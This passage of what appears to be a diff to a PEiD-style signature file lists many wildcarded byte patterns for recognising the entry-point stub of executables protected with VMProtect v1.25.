--> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 9C 52 52 51 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 55 50 57 9C 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 56 57 51 50 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 56 55 50 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 50 51 57 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 51 52 50 51 9C 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 57 52 51 9C 53 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 51 51 56 50 52 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 51 56 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 50 9C 53 56 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 51 52 53 53 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 52 57 50 55 53 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 9C 57 56 50 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 57 52 57 56 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 51 56 52 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 9C 56 52 51 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 57 56 52 50 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 56 50 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 51 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 50 57 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 55 56 54 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 54 51 57 52 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 50 56 57 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 55 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 9C 55 52 50 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 52 52 57 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 53 9C 52 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 50 51 9C 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 54 9C 51 56 55 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 9C 56 51 52 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 9C 55 52 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 55 51 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 56 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 56 51 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 51 9C 56 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 50 55 51 9C 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 55 57 51 56 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 C6 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 52 57 57 50 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 55 57 50 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 9C 52 57 55 50 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 56 50 57 55 52 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 55 56 52 9C 57 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 56 9C 57 50 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 55 9C 57 56 51 50 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5A 5E 58 59 5E 5F 9D 5D 5A 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 50 56 51 57 56 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 9C 53 56 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 EC 5A 5B 58 5F 5E 5A 9D 5A 5D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 52 53 57 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 55 51 55 9C 56 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 57 52 56 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 56 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 55 51 56 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 51 55 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 51 51 9C 52 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 56 57 57 51 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 53 57 51 52 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 51 55 57 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 50 55 9C 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 52 53 55 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 56 53 52 55 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 55 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 57 9C 53 53 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 55 9C 56 53 52 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 5A 58 5F 5A 5B 5E 9D 5D 59 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 53 55 9C 55 56 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 50 53 56 55 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 54 56 52 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 54 55 56 52 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 57 52 57 56 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 55 56 50 53 9C 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 52 9C 53 57 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 56 53 53 55 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 56 52 57 56 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 53 56 51 57 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 9C 52 56 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 54 57 56 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 9C 53 57 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 55 57 52 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5D 9D 5A 5F 5D 5B 5E 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 9C 57 57 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 53 9C 56 57 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 9C 53 55 57 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9 +ep_only = true 